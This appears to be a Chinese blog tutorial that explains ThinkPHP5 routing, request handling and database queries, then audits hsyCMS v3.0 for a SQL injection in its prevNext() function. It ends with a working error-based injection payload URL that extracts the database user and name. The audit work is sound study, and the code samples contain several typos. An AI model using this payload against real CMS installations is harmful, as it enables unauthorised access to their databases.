├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ … 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
基本路由:
URL访问:
www.xxx.com/index.php/index/index/index ,访问的位置为application目录下的index模块下的从contraller目录下的index文件下的index函数。
传入参数:
方式一:
www.xxx.com/index.php/hello/index/hello/name/word/city/chengdu,对于这种传入参数的方式,表示访问hello模块下的index文件下的hello函数,传入的参数1为name,传入的值为word,传入的第二个参数为city,传入的值为cehngdu,对于这两个参数的传入没有顺序要求,比如请求URL为 www.xxx.com/index.php/hello/index/hello/city/chengdu/name/word也是一样的效果。
方式2:
www.xxx.com/index.php/hello/index/hello/name=word&citychengdu,这就是常见的传参方式,相对容易理解一些。
没有使用传统的$_GET
,$_POST
,$_COOKIE
,$_SESSION
等全局变量,而是提供了Request对象进行调用。
ThinkPHP5的request对象由think\Request类完成。
在thinkphp5中,通过reques对象获取请求内容的方法有下面这几种:
获取请求变量:
param()获取请求变量
$request->param()方法,用于获取所有的变量,对于变量的获取,具有一定的优先级,优先级情况如下:
路由变量 > 当前请求变量($_POST变量) > $_GET变量
使用示例:echo $request->param('name','yujun','stryolower')
详解:该示例表示获取name变量的值,如果没有获取到,默认为yujun,如果获取到了使用strtolower()函数转换为小写。
get()获取$_GET变量
示例:echo $request->get('name')
使用助手函数示例:echo input('get.name') // 表示获取get请求的name变量的值,如果使用input('get.')的方式,表示获取所有get请求的变量
post()获取$_POST变量
file()获取$_FILE的内容
ip()获取请求的IP地址
method()获取请求的方法
pathInfo()获取控制器和方法名的路径信息
示例:请求www.xxxx.com/index.php/index/index/hello
echo $request—>pathinfo() //结果为index/index/hello
rootInfo()获取路由信息
响应:
响应内容的输出,包含以下方式:
自动输出
在config.ph中设置default_return_type 即可更改默认返回类型,达到自动输出的效果
手动输出
输出json类型:return json($data)
输出json类型,并设置响应码和http头:
方法1:return json($data,201,['set_cookie'=>'test_cookie'])
方法2:return json($data)->code(201)->gheader(['set_cookie'=>'test_cookie'])
对于其他的输出类型,只需要更换为xml或者html等函数即可。
页面跳转
示例:
public function hello($name){
if($name==='thinkphp'){$this->success("hello,you are thinkphp","admin")}
else{ $this->error("ou error!!","test")}
}
public function admin(){
return "hello,your right";
}
public function test(){
return "your are error!!";
}
此时,我们请求hello方法,传入$name=thinkphp,则会跳转到admin()方法,如果传入错误,则会输出错误信息后,跳转到test()方法。
页面重定向
示例:
public function hello($name){
if($name==='thinkphp'){
$this->redicret("http://www.baidu.com");
}else{
$this->redict("http://www.163.com")};
}
利用的是302功能码的重定向功能。
也可以设置跳转的功能码,比如设置为301:
$this->redicret("http://www.baidu.com",301)
数据库的的基本配置,在database.php中。
查询表达式:
selec * from table_bame where id='$id'
方法1:$result=Db::query("select * from test_table where id='$id'")
方法2:$result=Db::name("test_table")->where('id',1)->find();
方法3:$result=Db::name("table_name")->where('id',$id)->select;
方法4(参数绑定):$result=Db::name('table_name')->where("id=:id",["id"=>$id])->select()
select * from table_name where id>'$id' limit 0,10
方法1:$result=Db::query("select * from test_table where id >'$id' limit 0,10")
方法2:$result=Db::name("test_table")->where('id','>',$id)->limit(10)->find();
方法3:$result=Db::name("table_name")->where('id','>',$id)->limit(10)->select();
select * from table_name wheere id='$id' and password='$passwd'
方法1:$result=Db::query("select * from table_name wheere id='$id' and password='$passwd'")
方法2:$result=Db::name("test_table")->where('id',$id)->where('password',$passwd)->find();
方法3:$result=Db::name("test_table")->where(['id'=>[$id],'passwd'=>[$passwd]])->find();
select user_name from table_name where id='$id'
方法1: $result=Db::name(table_name)->column('user_name')->where('id',$id)->find()
方法2(参数绑定):$result::Db::name(table_name)-culomn('user_name')->where("id=:id",["id"=>$id])->select();
审计系统:hsyCMS v3.0
涉及漏洞:XSS、SQL注入、文件删除。
熟悉网站结构,需要做到一下几点:
路由: app/route.php
use think\Route;
//前端路由配置
if (is_file(APP_PATH.'common/install.lock')) {
$routeNav = db('nav')->field('entitle')->order('sort,id')->select(); //从nav表中查询entitle
$routeCate = db('cate')->field('entitle')->order('sort,id')->select(); //从cate表中查询entitle
Route::rule('search','index/Search/index'); //将search 路由到 index模块的Search控制器下的index方法下
foreach ($routeNav as $key=>$v) {
Route::rule($v['entitle'],'index/Article/index'); //将从nav表中查询出的entitle循环路由到index/Article/index
Route::rule($v['entitle'].'/:id','index/Show/index');
}
foreach ($routeCate as $key=>$v) {
Route::rule($v['entitle'],'index/Article/index'); //将从cate表中查询出的rntitle循环路由到index/Artitle/index
}
}
参数过滤情况:
需要了解的参数过滤情况:
Requet类函数分析:libs\libray\thibk\Request.php
get()
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET; //将$_GET中的参数赋值到$this—>get变量
}
if (is_array($name)) { //如果传入的$name是数组
$this->param = [];
$this->mergeParam = false;
return $this->get = array_merge($this->get, $name); //将传入的GET参数和$name合并为一个数组
}
return $this->input($this->get, $name, $default, $filter); //调用input函数
}
input()
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) { // 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) { // 解析name
if (strpos($name, '/')) { //如果name中存在“/”
list($name, $type) = explode('/', $name);//将$name拆分为$name和$type
} else {
$type = 's';
}
foreach (explode('.', $name) as $val) { // 按.拆分成多维数组进行判断
if (isset($data[$val])) {
$data = $data[$val];
} else {
return $default; // 无输入数据,返回默认值
}
}
if (is_object($data)) {
return $data;
}
}
$filter = $this->getFilter($filter, $default);// 调用解析过滤器,$default为空
if (is_array($data)) { //如果输入的数据是数组,调用array_walk_recursive()并使用$filter作为过滤器
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter); //调用filtervalue()
}
if (isset($type) && $data !== $default) { //没有设置$type,也就是$name中不存在“/”
$this->typeCast($data, $type); // 强制类型转换
}
return $data;
}
getFilter()
protected function getFilter($filter, $default)
{
if (is_null($filter)) { //默认为空,所以并不会进行过滤
$filter = [];
} else { //不为空,
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
post()
public function post($name = '', $default = null, $filter = '')
{
if (empty($this->post)) {
$content = $this->input;
if (empty($_POST) && false !== strpos($this->contentType(), 'application/json')) {
$this->post = (array) json_decode($content, true);
} else {
$this->post = $_POST;
}
}
if (is_array($name)) {
$this->param = [];
$this->mergeParam = false;
return $this->post = array_merge($this->post, $name);
}
return $this->input($this->post, $name, $default, $filter); //调用inout函数
}
Request()
public function request($name = '', $default = null, $filter = '')
{
if (empty($this->request)) {
$this->request = $_REQUEST; //获取$_request
}
if (is_array($name)) { //如果$name为数组,返回合并后的数组
$this->param = [];
$this->mergeParam = false;
return $this->request = array_merge($this->request, $name);
}
return $this->input($this->request, $name, $default, $filter); //调用inout
}
可以看到,我们的get()、post()、request()函数都调用了input()方法进行参数检查,但是我们传入的filter都是为空,也就是默认不进行检查,所以并不安全。下面就简单的分析几个例子看看.
漏洞描述:
在prevNext()函数中,未经过任何过滤就将参数直接拼接到了SQL语句中,造成了SQL注入。
漏洞分析:
首先进入漏洞所在代码位置:/app/index/common.php的preNext()函数
//获取上下篇
function prevNext($id,$entitle,$one){
//上一篇
$prev=db('article')->field("id,title")->where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")->order('id desc')->limit('1')->find();
//执行的Sql语句: select id,title from sy_article where ( id < $id and uid=$one['nid'] and cid=$one['cid'] ) oeder by id desc limit 0,1
if($prev){
$prev['url'] = '/'.$entitle.'/'.$prev['id'].'.html';
}else{
$prev['url'] = "javascript:void(0)";
$prev['title'] = "没有了";
}
$data['prev'] = $prev;
//下一篇
$next = db('article')->field("id,title")->where("id > {$id} and nid= {$one['nid']} and cid = {$one['cid']}")->order('id asc')->limit('1')->find();
if($next){
$next['url'] = '/'.$entitle.'/'.$next['id'].'.html';
}else{
$next['url'] = "javascript:void(0)";
$next['title'] = "没有了";
}
$data['next'] = $next;
return $data;
}
可见,在执行SQL语句的时候,通过where函数执行设定了判断条件,将id等参数拼接到了sql语句中,所以存在SQl注入的风险。
然后我们逆向查找一下,发现在app/index/controller/Show.php里面的index()方法调用了此方法,我们进入分析一下:
public function index()
{
$id = input('id'); //通过input助手函数获取传入的参数id(并没有经过过滤)
$one = db('article')->where('id',$id)->find();
if(empty($one)){ exit("文章不存在");}
$navrow = db('nav')->where('id',$one['nid'])->find();
//省略n行..........
if($data['showcate']==1){
//省略n行......
$data['pn'] = prevNext($id,$navrow['entitle'],$one);
}
$data['one'] = $one;
$data['nid'] = $one['nid'];
$data['site'] = getseo($one['nid'],$id,$one['cid']);
$this->assign($data);
//省略n行......
由于该系统没有对传入的参数做进行过滤,所以在这里就可以直接构造sql注入语句进行注入。比如构造这样一个payload:
http://www.xxx.com/index.php/index/show/index?id=123) and (select 1 from (select count(*),concat(user(),0x7e,database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
就能够成功的利用报错注入,获取到系统中的用户名和数据库信息。